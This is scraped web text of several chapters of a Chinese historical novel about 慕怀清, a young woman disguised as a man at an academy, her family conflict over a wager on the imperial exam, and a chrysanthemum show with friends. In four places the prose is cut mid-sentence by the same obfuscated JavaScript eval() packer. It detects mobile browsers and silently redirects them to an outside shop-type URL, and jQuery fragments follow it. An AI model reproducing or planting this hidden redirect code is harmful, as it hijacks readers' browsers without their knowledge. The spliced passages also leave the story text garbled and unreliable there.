“凭你一人?” “公理未至,薪火不息。先生,即便没有我,也会有千千万万人。” “我竟不知,我的学生里,竟有你这般的人。你确实胆大得很。” 慕怀清躬身:“学生惶恐。” 李晚渔的眼神一瞬间锋利起来:“我开办书院,是要教人修身养性。若我为此将你驱逐呢?” 慕怀清轻轻吐出一口气:“那先生当年又为何要冒天下之大不韪,为顾若川离京践行呢?” 李晚渔瞳孔猛缩,屋内一时无言,慕怀清便也一直垂首。 良久,李晚渔终于开口: “新政那么多人物,青葙之辈为忠君,方衡之辈为心中抱负,吕阳春之辈为升官发财,唯有顾若川一人,是在为民。 “你道新政会败,是因为先帝驾崩,因为守旧派顽固抵抗,因为施行操之过急,因为新政本身不足,却没说到人心难测。 “你和顾若川一样天真。太天真的人,在那会吃人的官场,是活不下去的。” 慕怀清攥紧了拳头:“那他所为,便毫无意义了吗?” - 谈声新正贴着门,听见一阵脚步声,刚往后撤,门就开了。 “慕——”月光下,谈声新看见她眼眶中似乎有什么东西在闪烁,于是住了嘴,看着她一言不发从自己身边离开了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14091448|148317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “声新,”晚渔先生的声音从屋内传来,“从《中庸》第二句开始背。” 谈声新羞愧地低了下头,开始念诵:“道也者,不可须臾离也;可离,非道也。是故君子戒慎乎其所不睹,恐惧乎其所不闻……” 谈声新的声音越念越小:“先生,弟子知错,以后不再偷听了。” - 月澄如练,渐凉的天连虫鸣也不多闻。慕怀清走在回房的小径上,脑海中回响着晚渔先生回答她的四个字。 “君子不器。” 这不是一句直白的答案。 此句出自《论语》,前人注解为君子不应局限于某一种技艺,而应该博学广识,但晚渔先生所指定非此意。 慕怀清暂不明了,也不深究。 回到房中,她点上了灯。桌上摆着一个瓦罐,里面开着两朵荷花。这是七夕时陆居澜送她的那两朵荷花苞,她不忍见其腐烂,便养在水中,没想到竟开花了。 无根之花尚能盛开,人又为何不能逆势而行。 此篇策论的答卷后来众人都有发还,除了慕怀清。 陆居澜对此很是奇怪:“怎么会没有,我还想看看你写的什么呢。” 慕怀清笑了笑:“兴许是我写得不好。” 陆居澜不信。他偷偷去找过晚渔先生一回,却被堵了回来,晚渔先生要他收收好胜之心。他也只能就此作罢。 谈声新的多舌似乎难得收了起来,无人知晓那晚李晚渔和慕怀清的谈话,也无人知晓那晚慕怀清有可能哭过。 策论一事仿佛雁过无痕,晚渔先生除了对慕怀清投来的目光多了些,也没再提及什么。 慕怀清又在书院过了一段平静的时光,算算日子,有一件事也到了该解决的时候了。 - 夜间,赵家。 主厅一共坐着三人,气氛剑拔弩张。 赵季青坚决道:“这种要求我不接受。” 太夫人阴沉着脸:“我都已经让步了,你还要如何?” “寻常人中举已是不易,更遑论中进士。母亲,你这不是让步,是刁难。” 太夫人冷笑:“他不是读书厉害吗?要是不能中榜,读什么书。” 郑氏在旁补道:“是啊,莫不是兄公不信他能中进士?” “他是我的儿子,本该名正言顺,不应附加条件。” 太夫人道:“中秋我允他回来一次,叫他自己考虑考虑。话我就放这了,大郎你若是再敢忤逆,就别怪我这个做娘的狠心。知行也是你儿子,他的前途你总该考虑吧。” 赵季青瞪大了眼。直到太夫人带着郑氏走远,他还呆坐在原处。 他知道,从小到大,母亲总是偏爱弟弟,就像他无法选择婚姻,弟弟却能娶一个自己情愿的人。甚至可以说,是他的婚姻,成就了弟弟从商的一片坦途。 大梁自新帝登基以来,便大力宣扬孝道,惩治不孝之罪的力度也相当大。其中的用义赵季青心知肚明,他若因不孝之罪丢了官,知行必定受到牵连。 他一再忍让从无怨言,却怎么也想不到,母亲竟能在今日说出最后这句话来。在母亲的眼里,家中没人可以忤逆她,就连曾经的父亲,也不行。 26. 第二十六章 昏暗逼仄的茅草房中,只有一床、一桌、一凳,以及床边角落铺的稻草和一张薄被。床上躺了个病弱少年,他穿着袄子,裹着破烂污黑的棉被。 门吱呀一声被推开了,冬日的寒风钻进来,引得少年一阵咳嗽。推门的人是个俊眼修眉的少女,一只手里提着药包。见少年咳嗽,她连忙阖上门,用脚将旁边的石头重新踢过来抵住。 “我又买了些药,这就煎给你吃。” 少年艰难支起身子:“青筠姐姐,你,你别再为我,白费力气了。” “不吃药怎么能好呢。”少女故作轻松地笑,打开药包准备煎药。 “青筠姐姐,我知道,我们两个从家里偷带出来的那点财物已经快用光了。” “钱还可以再挣,这有什么的。过两天我就能拿到工钱了。” 少年心疼地看向少女的手。那是一双原本细嫩白净的手,可如今却生满冻疮,惨不忍睹。 少女已经将药倒入药壶中,引火开始煎了:“就是有点后悔自己以前没好好学女红,不然现在挣得肯定多一些。” “我的身体我自己知道,这么多药吃下去,也不见效,姐姐你挣的钱,还是自己留着吧,你的路还长。” 药已煎上,少女端着小凳坐在药壶边烤手,她低垂着眼眸,叫人看不清她的神色:“会好的,你别瞎说,一点风寒而已。” 微弱的火光映着少女的侧脸,给她镀上了一层暖色,少年头晕目眩,视线中的她也开始朦胧起来。 心是酸的,眼是热的,少年那千丝万缕的情愫,全堵在喉间。他忍不住咳了起来,咳得越来越厉害。 少女皱眉,起身坐到床边,拍着他的背给他顺气。少年放下手,掌心全是暗红的血。 少女双目一痛,用帕子给他擦干净:“药还没那么快煎好,快躺下睡会儿吧,别着凉了。” 少年很听她的话,乖乖躺了回去。少女替他盖好被子,手将要收回去时,少年不知从何而来的勇气握住了。少女一怔,没有动作。那双手藏在被中许久,却和自己的一样冰凉。 “青筠姐姐,你听我说。我,我大概熬不过这个冬天了,姐姐如果你愿意的话,我会写一封信,你带着信和信物去找我的亲生父亲,求他给你一个庇护。虽然可惜,没能见一见,我的爹爹是什么样的? “姐姐,我从不后悔离开那个家,和你一起,是阿婆走后我最开心的日子了。有时候做梦还会一阵后怕,如果,我当时恰好没有路过那里,姐姐落在猎户的陷阱里,可能就,就没命了。我还想继续保护姐姐啊……” 少年的声音越来越微弱,少女别开目光,像是在掩饰什么:“我不需要你的保护,你的愿望,也该自己去达成。” 少年看见了少女眼中的水汽,他轻轻笑了,一行泪从他眼角淌下:“姐姐,你心最软了……” 握着少女的手慢慢松下来。煎药的火偶尔噼啪一声响,药壶中的药汤咕噜冒几个泡,冷风拍打门窗,从缝隙里灌进来。他的呼吸是如此静谧。 - 慕怀清是被风声惊醒的。 今夜风很大,吹得门窗吱呀作响,她坐起身,感到了一丝寒意。 四下漆黑一片,她下床点了灯,披衣坐在烛火旁。烛火摇过她的眼睛,也燃不起她眼中的光,她只是这样静静地放空着自己。 不知过了多久,一声微不可闻的叹息淹没在风声里。她拿起了桌上的书,一直看到卯时书院响第一鼓,这才起身洗漱收拾。 今日的冷风刮到书院散学,天色阴沉一如点卯时所见。学子们裹紧衣裳匆匆出了山门,或步行,或登上自家来接的马车。 慕怀清走到山门处,没看见赵家的马车。 赵知行怪道:“怎么还没来,以前从不晚到的。” 霍澄道:“要不你们两个也搭我的马车回去好了。” “你要送近野,还是我顺路些,”陆居澜说罢,又问慕怀清道,“你真要回去?这次怎么改主意了。” 慕怀清微笑:“明日中秋,有些事总要解决的,不是么?” 赵知行犹豫道:“要不我还是再等等吧,兴许路上遇见什么事耽搁了也说不定。” 话音刚落,霍澄手指着路尽头道:“你家的马车来了。” 陆居澜手搭在慕怀清肩上,轻轻拍了拍:“你,照顾好自己。” 周近野也叮嘱了一句。 慕怀清笑:“我又不是小孩子。” 待三人离去之后,赵家的马车也近到跟前了。架车的是赵翁,他满面愁停下来,车帘掀开,从车内下来一个人——之前差点掌掴慕怀清的女使,红莲。 赵知行脚刚踏出,又收回来。 女使红莲走到二人面前,冷硬道:“太夫人有命,接慕怀清一同回府。” 赵翁立在红莲身后,冲慕怀清摇头。 慕怀清仍是笑:“既然如此,大哥,我们上车吧。” 三个人各据车厢一角,谁也没再开口说话。回到府中后,赵翁落后两步,偷偷拉住了慕怀清。 “小郎君七夕未回,这次中秋为何又愿意回来了?” 慕怀清没有直接回答,反而问:“赵翁迟迟未来书院,可是家中起了争执?” 赵翁叹气:“太夫人为了小郎君身份的事,还在闹,说是中秋过完她就回去了,这事必须得解决了。大官人本意让我去接,是为了告诉小郎君,让你不必回来,免得心烦。” “我已不是稚童了,还请赵翁替我转告爹爹,叫爹爹不必为我忧心,也莫要为了我惹太夫人不快。” “小郎君如此镇定,自愿同太夫人那女使回来,可是心中有了对策?” “非也。只是太夫人视之如命的虚名,于我而言并不重要,所以我不会为此心烦,她也无法威胁到我。” “这件事我也不好多说,小郎君能看开未必不是一件好事。话我会替小郎君带到的。” “有劳赵翁。” - 暮云收尽溢清寒,银汉无声转玉盘。 中秋当晚,街市欢嚣,灯火辉煌,酒楼高位皆被人抢占,一面喝酒观月,一面听曲赏舞,好不自在。坊间人家亦烧香祭月,其乐融融。 在这鼎沸的晋州城中,偏生赵家突兀地冷,像是掉入汤中一块煮不化的冰。那晚宴上的人神色各异,开口说着话,也比秋夜的风冷。 “你想进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115485|148317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我赵家的族谱,我也不为难你,只是有一个条件,就怕小子你不敢应。”太夫人吃到末了,搁下碗筷,突然发难。 赵季青当即皱眉,似乎想开口说些什么,念及赵翁转告的那些话,又生生忍住,将目光投向慕怀清。 赵知行一顿晚饭吃得胆战心惊,食不知味,终于等到祖母开口,他像是接到了某种命令般,整个人突然紧绷起来。 王氏面色冷冷,丝毫未将眼下的场面映在眼里,连一颗心也是死水般。赵小苒恶意地笑,目光刀似的刻在慕怀清身上。郑氏高高在上看着好戏开场。 慕怀清还未吃尽兴,却不得不停箸,眉头因此微微敛起:“请太夫人直言。” “听说你读书不差,我的条件便是要你中个进士。赵家不养废人。” 慕怀清直视着她:“仅此而已?” 汹涌拍去的浪,在这轻轻一瞥之下,化作了温驯的水花。太夫人眉皱成川,眼角也叠出了纹,很不满她的态度,像是刚开口便已输了。 但她到底念及中秋夜,不愿大郎真的与他反目,收敛了脾气:“你这是什么意思?” 在众人的注视下,慕怀清说出了惊世骇俗的一句话:“我要前三甲,后年。” 赵季青第一个吼道:“胡闹!” 郑氏咯咯地笑:“兄公别急啊,他心比天高,有此抱负,你合该高兴才是。” 太夫人还未从震惊中回神,慕怀清话已逼近:“我愿与太夫人立下赌约,若后年未中前三甲,认祖归宗一事任凭太夫人做主。太夫人可应?” “我不应。”赵季青肃着脸色。 慕怀清态度坚决:“爹爹,这是我的意愿,还请爹爹莫要插手。” 太夫人看着这小子比磐石坚定的目光,忍不住想,莫非他真有能耐不成?说实话,这比自己提的要求苛刻多了。自己猛一脚踩,像是踩空了,反而陷进去。这个条件无比合她心意,又她觉得失了些什么。 尽管太夫人内心多有不快,慕怀清的话还是成功将她堵住了,因为那是一个对她而言百利无一害的赌约。立下赌约的人,反而将自己投入孤立无援毫无退路的境地。 她冷笑着,扔下一句话:“这可是你自己说的,到时莫放了大话做不到,又跪着回来求我。” 郑氏被慕怀清唬住,随太夫人离开前看向慕怀清的眼神也轻飘飘落了地,成了实的。 赵小苒搀着王氏离开,经过慕怀清身边的时候低声嘲道:“不自量力。” 赵季青显然有气,到底憋着没有发作,站起身来,觑着慕怀清。 慕怀清唯独被他盯得心虚:“爹爹……” 赵季青没听他解释,大步而去。 此时餐桌上,就剩赵知行和她面面相觑了。 “大哥也觉得我过火了吗?” “不,”赵知行说不上来什么脸色,震惊、担忧、信任全揉在一处,“我信你是经过深思熟虑才说出来的,只是,未来不是没有可能收不了场。” 慕怀清没料到赵知行竟会这么说,心中讶异了一下,有些动容。 她微笑着,言语真挚,意味深长道:“大哥放心,我永远不会做出危害赵家的事。” 27. 第二十七章 赵季青翻来覆去一宿没睡,第二天起了个大早,到门口来送两个人去书院,两人都很意外。 赵知行看向慕怀清,慕怀清低头摸了下鼻子。 “爹爹还在生气吗?” 赵季青彻底没了脾气,对慕怀清叹息道:“昨夜的事,等到了时候再说吧,不管结果如何,你只需记得为父永远在你身后。” 慕怀清松了口气,道:“好。其实我还想对爹爹说的是,能让我进书院继续读书,我已经很满足了,爹爹不必觉得亏欠我。” 赵季青摸了摸她的头:“你啊,叫我说什么好。以后万不可再逞一时之气了,这个性子要改掉。” 慕怀清因着这个动作愣了一下,也没有去解释为何要“逞一时之气。 赵季青又道:“那以后放假,总该回来了吧。” 慕怀清笑着点头:“回来。” 赵知行在一旁看着这“父子”融洽的场景,嘴角不自觉撇下来,可下一瞬那只大手又扣在了他的头上,叫他瞪大了眼。 “你也是,莫要学你弟的臭毛病,有什么事,尽管和为父说。” 赵知行抿嘴压着心中涌上来的笑意,装作不耐烦的样子道:“知道了。” - 德容斋里。 众学子纷纷到场,一个个落座看书,有的也念诵起来。霍澄坐在其中,将脖子伸得老长,一直没看见想看见的人。 他心中好似有一只猫抓轻轻挠着,痒得很,忍不住将头凑到陆居澜那边:“老陆,你说他们两个怎么还没来,该不会真出事了吧。” 陆居澜目光落在书上,可是天晓得,他一个字也没看进去。他偏头看霍澄一眼,摇了下头。 坐在台上的李行简垂首看书,口中道:“霍师弟,勿言其他。” 霍澄扁扁嘴,收回身子,正了坐姿。就在此时,慕怀清和赵知行两个进来了。 霍澄目光追着慕怀清,几乎要在她身上盯出了窟窿来了,盯得慕怀清极不自在。 陆居澜将她从头到脚打量了好几遍,尤其看她走路,见她全须全尾,一颗心终于落下来。 周近野看着二人,也投来关切询问的目光。 慕怀清对他们三个人点了下头,略作回应,以示自己无恙。 不久后方先生进来讲学,一上午的时光就这么过去了。散讲后霍澄跳起来,勾着慕怀清脖子就往食斋去,滔滔不绝道: “我真是快担心死了,一上午憋着不能讲话。昨晚好歹也是中秋节,不能闹太难看吧。那太夫人有没有刁难你什么?有的话你尽管和我们兄弟几个说,不要在心里憋着。你就是脾气太好了,斯斯文文的,那次蹴鞠赛挨了打也不知道找回场子来——” 慕怀清费力从他胳膊底下钻出来,道:“你还敢提打架那事。” 赵知行在一旁说着风凉话:“他没事,别人倒是快给他吓个半死。” “什么?” 慕怀清想起自己说的那些大话,虽没打算实现,但被人说出来还是觉得难为情,脸有些红,拼命给赵知行使眼色:“大哥。” 赵知行对霍澄摊手:“你自己问他吧。” 霍澄一把将慕怀清扣住,拢在胳膊下,威胁道:“你还有秘密敢瞒着兄弟几个了?” 陆居澜和周近野都在一旁笑。 周近野道:“你不招,明澈可不会罢休。” 慕怀清左右挣着,脸越来越红:“我说我说,你先放开我!” 霍澄放开她,她回了几口气,理了理衣裳,道:“也就是应了个赌约而已。” 陆居澜问:“太夫人提的?” “嗯,”慕怀清点头,“她说可以承认我,条件是我中进士。” 陆居澜听罢,松了口气,并不担心。 可赵知行到底没忍住,凉凉道:“不止如此,他还敢给自己加码,说要中前三甲。” 陆居澜一口气提了上来。 霍澄惊呼一声,围着慕怀清转,恨铁不成钢道:“你到底在想什么啊,那是科举前三甲,不是书院前三甲哎!” 周近野也无法理解:“无晦,你看起来不是那种争强好胜的人啊。” 慕怀清道:“我就是想给爹爹争一口气。好了好了,别说我了,反正这事还远着。我们赶紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136866|148317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃饭去吧,去晚了饭该凉了。” 唯有陆居澜未发一言,眉头紧锁,以一种探究的目光看着她。 - 处暑已过,秋风一寸寸凉下来。九月授衣,书院会放整整一月的假,好让家远的学子回家取衣过冬,称作授衣假。众人归家,书院又恢复了冷清的模样。 长假与短假不同,若要留在书院中须得额外申请,食宿上颇为麻烦,慕怀清本想多留几日的,也只能作罢。 太夫人在的那段时间,刘媪照旧日日打扫着她的小院,上次中秋匆匆一回,刘媪还拉着她的手絮絮叨叨聊了许多家常。 这天回来,小院难得热闹。刘媪带着几个丫鬟在搬花,各处角落都摆上了,细一看,都是菊花,或黄或紫或红,灿烂如晚霞。 慕怀清提着一包袱的书,朗声笑道:“刘媪这又是在忙什么?” 暮秋天,刘媪额上一层薄汗,她放完手里这盆,袖子揩了下汗,笑道:“小郎君回来了啊。这些花都是大官人叫搬的,柳员外家差人养了好多,过段时间还要在重阳办个什么斗菊会。这不,有多的次的挑出来一些,都折价卖了。现在可正是开菊花的好时候,人都登高赏花,插菊花枝,喝菊花酒。这菊花酒酒家都在卖,小郎君若是从前没喝过,不妨也凑个热闹喝喝看。” 慕怀清将包袱放在石桌上,和刘媪他们一起搬,道:“还是算了吧,上次和他们登高去了我半条命,酒我也是一沾就倒。” 刘媪和几个丫鬟都被她惹笑了。 太夫人离开后,也没人来找慕怀清麻烦,她一连许多天,只窝在那张躺椅上看书,披着暮秋最后一点暖阳。 陆居澜找来时,看见的便是这样一副场景。 “你莫不是一天到晚尽躺着,骨头都要散了。” 慕怀清早听见了两人的脚步声,手里的书放下来,露出一张笑脸:“在书院已经坐够了。” 赵知行道:“今年城里开了个斗菊会,你去不去?” “却之不恭,”慕怀清将书搁在桌边,站起身来,“明澈他们呢?” 陆居澜道:“已经在观浪亭等着了。” 28. 第二十八章 观浪亭位于沧梧江边的一个小山包上,山下一片平地,岸边种了柳树。若在春天,此处青草漫漫,野花丛生,是游人踏青的最爱。 而今百花谢尽,观浪亭下只有一种花,秋菊。五颜六色的秋菊铺成花园,慕名而来的人穿梭在秋菊丛间,欢声笑语,比蜂蝶更加惬意。 霍澄和逐月一左一右围在一位老者身边,周近野就在他们不远处赏花。中间那名老者,慕怀清听陆居澜介绍说,是明澈的祖父。 逐月第一个看见他们,惊喜地低呼一声:“慕郎君。” 霍澄也跟着叫道:“你们怎么才来啊,等你们老半天了。” 话音刚落,霍澄脑袋就挨了一下。 “怎么和你朋友说话的。”老人下手轻,苛责的意味不浓。 霍澄难为情地拽了拽老人衣袖,贴着老人嘀咕道:“阿翁,你给我留点面子。” 老人哈哈大笑。 霍澄给慕怀清介绍道:“对了无晦,你应该还没见过的,这是我祖父。” 慕怀清作揖道:“见过老太爷。” 陆居澜和赵知行也跟着行礼。 “小友们不必多礼,”霍有山打量着慕怀清,微笑道,“你就是慕无晦?” 慕怀清道:“正是。” “书院刊行诗集,我读过你的诗,相当不错。” 慕怀清意外道:“老太爷过誉了。” “你们今年来看斗菊会,可有眼福喽。来来来,我带你们见识一株菊花。” 霍澄道:“阿翁又要显摆了。” 霍有山鼻孔里哼哼两声,背着手道:“臭小子,我好不容易养出来的,那几个老头子都眼红得很。” 说话间将众人引至一张石案前。上面只有一坛菊花,花如盆大,瓣瓣相叠,最奇特之处在于其花色,乃是少见的紫色,淡如紫玉般。花后立着一块木牌,写着霍有山的名字。 陆居澜道:“竟然还有紫菊,这是什么品种,我倒从未见过。” 霍有山自得道:“我废了三年时间才培育出来的,自名为暮山霞。” “阳乌方落之时,紫霞浮于远山,”慕怀清赞道,“暮山霞,老太爷有才,取的好名。” “老了,不及你们这些年轻人。”霍有山笑呵呵的。 众人陪霍有山又赏了一路花。听霍有山介绍说,今年的斗菊会是柳家率先带头举办的,他们家专门请人培育了好几年,现在会上能看见的墨菊柳家占了大头,。再有就是江家拿出来的金菊,稍逊色一些,剩下零零散散都是像霍有山这样的爱花人在养。 逐月不关心花,她没认真在听,落后两步和慕怀清并肩而行。 “慕郎君,许久未见呀。” 慕怀清和她保持着距离,温和道:“许久未见,逐月娘子可好?” “我能有什么不好,倒是郎君你,听说你受了那太夫人的刁难,几个月没回过家,郎君可还好?” 慕怀清失笑:“明澈倒是竹筒倒豆子,一股脑儿全给你说了。” 霍澄听见了,嘟囔道:“我那是关心你,再说了,逐月先问的。” 慕怀清摇头,暗道自己就不该提这个多舌的。她假装没看见逐月微红的脸,道:“逐月娘子不必担心,事情都过去了。” 逐月垂着颈,小声道:“那就好。” 霍有山讲菊讲得尽兴了,转头对霍澄道,“行了,你也不用陪着我这个老头子,我去找柳老和江老他们了,你们年轻人玩去吧。” 逐月的目光从慕怀清身上收回来,满含雀跃地巴望着霍有山。 霍有山的目光将慕怀清等人扫了一遍,意味深长地点了下她的头,道:“都是男子,你这丫头跟去做什么?” 逐月丧气道:“好吧。” 拜别霍有山后,几人一边赏花一边聊天,没走两步,迎面遇见了一大一小两个人。 陆窈仪头戴花冠,额点珍珠,衣着明媚的银朱色宽袖长褙,牵着一个小女孩——她的妹妹,陆茵茵,上次在云溪寺曾见过的。 小女孩看见陆居澜,欢快地叫了声“十一哥”。 陆居澜微笑道:“没想到两位堂妹也在此,怎么不见二伯母?” 陆窈仪娉婷行了一礼:“阿娘她和其他几个婶婶们聊着天,小妹待不住,闹着要看花,我就带她随意走走。” 说罢,她含蓄的目光轻轻投向赵知行,那人也正看着自己。目光仅仅交错一瞬间,两颗心就剧烈跳动起来,滚烫的血涌到脸颊,二人同时偏头。 陆居澜道:“此处菊花不常见,的确值得观赏一番,只是莫要离开太久,让二伯母担心就是。” “说起来我和小妹确实离开了很久,是时候回去了。”陆窈仪有些莫名的慌张,话说出口,自己反倒先愣了一下,眉头微蹙,懊悔涌上心头。 陆居澜道:“也好。去吧。” 陆茵茵摇着陆窈仪的手撒娇道:“阿姊怎么就回去了,我还想多逛逛呢。” “茵茵别闹。” 小女孩扁着嘴。陆窈仪向众人匆忙行了一礼,拉着陆茵茵几乎是落荒而逃。 赵知行不自觉抬起手,嘴微微张着,似乎有话要说,最后只是看着她离去,直到她的身影淹没在人群里。他仿佛浑身力气都被卸去,手也颓然垂了下来。 这时突然一张脸贴近,将赵知行吓了一跳,往后踉跄半步。 “你做什么?” 霍澄审视的目光几乎要将他穿透:“你脸红什么?耳朵都熟了。” 周近野笑道:“连最迟钝的明澈也看出来了?” 霍澄指着自己两只眼:“废话,我又不是瞎。” 赵知行站得离霍澄远了些,像是怕别人听见他的心跳:“你乱说什么,我哪有?” 霍澄再一次逼近:“可是你刚才一直盯着她呦。” 赵知行咽了下口水,连连后退,被陆居澜扶住。 陆居澜稀奇道:“你认识我堂妹?” 赵知行往左看,是慕怀清,往右看,是周近野,他被团团围在中间,垂死挣扎道:“以前,以前不是都去过你家吗?” 陆居澜道:“诶,我可没见你们之前说过话。” 慕怀清端详赵知行的脸色,脑海中有个画面一闪而过,似乎曾经的某个时刻,他也这般支支吾吾地红过脸。 “啊,是在云溪寺。”慕怀清恍然大悟。 霍澄立马大叫起来:“对了对了,那次他手受伤了,还一直笑来着,特别奇怪。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14214919|148317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆居澜点头:“确实。后来问他他也不肯说。” 慕怀清向赵知行求证道:“大哥,是不是那次?” 赵知行脸涨得更红了,他气急道:“好了好了,你们别乱猜了,就在云溪寺说过一次话而已。” 陆居澜问:“你,中意我堂妹?” 一阵秋风吹过来,凉意沁到骨子里,赵知行激灵了一下,那一瞬间像是停止了心跳,什么墨菊金菊粉菊紫菊,鲜艳的全看不见了,什么笑声交谈声欢闹声,黏糊糊的也听不见了。 那一瞬间仿佛很长很长,长到他手脚冰冷地麻下去,麻得脑子一片空白,几乎晕过去。他甩开几人大步向前走去,逃离那逼仄的空气,大口呼吸着,像溺水的鱼。 几人相视而笑,不紧不慢跟在赵知行身后。 霍澄摇头晃脑地说:“稀奇稀奇,今天出来得可真是好时候啊。” 陆居澜故作无奈道:“一边是兄弟,一边是堂妹,这下可叫我怎么办才好。” 慕怀清道:“行了,你们两个就别起哄了。你们有没有发现,陆娘子也在看见大哥的时候脸红了。” 赵知行支起了耳朵。等了许久没听见下文,他忍不住停步转身,几人早有预谋地看着他笑。他发觉自己上当,瞪了几人一眼,赌气般继续往前走去。 周近野两步追到他身边,安慰道:“好了,你也别生气了,我们没有恶意,只是太震惊了。兄弟之间有什么话不能说的。” 赵知行目露迟疑,放慢了脚步,道:“我,真的,这么明显?” 三人一齐点头:“很明显。” 霍澄道:“你就跟我们说说呗。” 赵知行回想起那天,和煦的风,清澈的阳,少女灵动的笑,每一处线条都清晰无比,兼具工笔画的实和水墨画的虚。那是一种恰到好处的感觉,就好像命运的齿轮严丝合缝卡在一起,他说不出来,也羞于说出来,只是紧紧抿着唇。 陆居澜不再笑了,他察觉到了赵知行身上的气息,一种从未在对方身上出现过的深沉与认真。 “大哥何不同爹爹说明,让他叫媒人上门提亲呢?” 慕怀清的话让其余四人同时瞪大了眼。 霍澄道:“这,这么快的吗?” 周近野无奈笑道:“确实有些,不过不失为一种办法。” 慕怀清道:“喜欢的事,去做就好了。成便成,不成便罢。这是我的看法,大哥可以自行斟酌,我瞧那陆家娘子对你并非无意。” 陆居澜抱臂睨着她,微笑道:“还在我的眼皮子底下,你就想着把我堂妹拐走了?” “看你有没有本事留住喽。” “我看明澈家的也要被你拐走了。” 霍澄道:“跟我又有什么关系?” 慕怀清拍了陆居澜一下,警告道:“你少胡说八道。” “怎么胡说了,你问近野?” 周近野道:“这个不明显的倒不好说了。” 霍澄一头雾水:“你们这又是在说什么啊,什么不明显?” “没什么,云程在说那边的花好看。” “我看起来这么好糊弄?” 这边还在斗嘴,赵知行已经魂飞天外了,只留了一具空壳静静站着。 29. 第二十九章 赵季青忙碌了一天,今天又没来得及回家吃晚饭。从官衙回来时,天已经黑透了。风呜咽呜咽地刮,刮来冬日降临的信,他裹紧衣裳快步走到房前,发现书房亮堂堂的,驱散了周围一片漆黑。 他多久没见过这种光了,连他自己也记不清,他与王氏已经分房而睡许多年了。他很意外,房中居然还有人等他。 他以为是哪方的来客有要事拜访,推门进去,却见一道单薄的身影坐在灯旁。他愣在原地。 温暖的烛火柔和了那人轮廓,赵季青有些恍惚,仿佛回到了他们新婚之时。可当王氏转过眼来,眼中的锐利像把冷冽的刀,将一切温情瞬间割碎了。 “夫人为何在此?”这是赵季青开口问的第一句话。他看见了桌上的食盒,却不敢相信是王氏特意送来的。 王氏站起来,从袖中摸出一张红贴:“今天有媒人上门说亲。” 赵季青接过来打开看,里面写着一个女孩的名字和生辰八字。一般来说女子适龄就会有媒人上门提亲,这女方向男方提亲的倒是更少见一些。 “来给知行说亲的?”他问。 王氏冷笑一声:“是就好了。” “那就是给怀清说的,”赵季青心中诧异,毕竟他才刚来晋州半年多,于是又问,“可我从未听闻霍家还有女儿,霍老太爷在晋州不就霍明澈一个孙子吗?经常和知行走得近的。” “说是义孙女。话我已经带到了,你自己处理。”王氏说罢离去。 “多谢夫人送来的晚饭,”赵季青看见她的脚步停下来,“我公务繁忙,抽不出太多时间,知行的婚姻大事,也劳烦夫人多多留意。” “用不着你说。” 王氏离开了这间书房。 - 房间的光有些暗淡,慕怀清下意识伸手将烛火挪近了些,反应过来怕烧了书,于是起身拿剪子去剪烛芯。烛火顿时明亮了不少。 这时响起了敲门声,慕怀清过去开门,只见赵季青站在门外。 “就知道你还没睡,”赵季青看了眼烛台,道,“要看书就多点几只蜡烛,别把眼睛看坏了。” “够用了,不碍事。爹爹这么晚是有什么事吗?” 两人在桌边坐下,赵季青拿出那张红贴,笑道:“一封草帖子,有人家的女儿看上你了。” 慕怀清吓了一跳。赵知行的亲事还没动静,怎么她的倒先来了。她惊疑不定地打开贴子,看见一个熟悉的名字后,哭笑不得。 “你认识这家的娘子?” “她,算是明澈的半个妹妹。” “原来如此。那你意下如何?” “爹爹,还请替我回绝了这门亲事,眼下谈成家为时尚早,更何况孩儿对那位小娘子无意,也不愿耽误了她。” “怎么你和你大哥都是不急?” 慕怀清挑眉:“大哥什么时候说的?” “七夕那晚,母亲谈起苒苒的婚事,自然就说到你大哥身上去了,你母——”赵季青说得顺口,立马刹住,改口道,“他们母亲还想多留他们几年,我母亲不乐意了,知行立马就拒绝起来,说自己不急。” 慕怀清道:“大哥后来什么也没和爹爹说?” 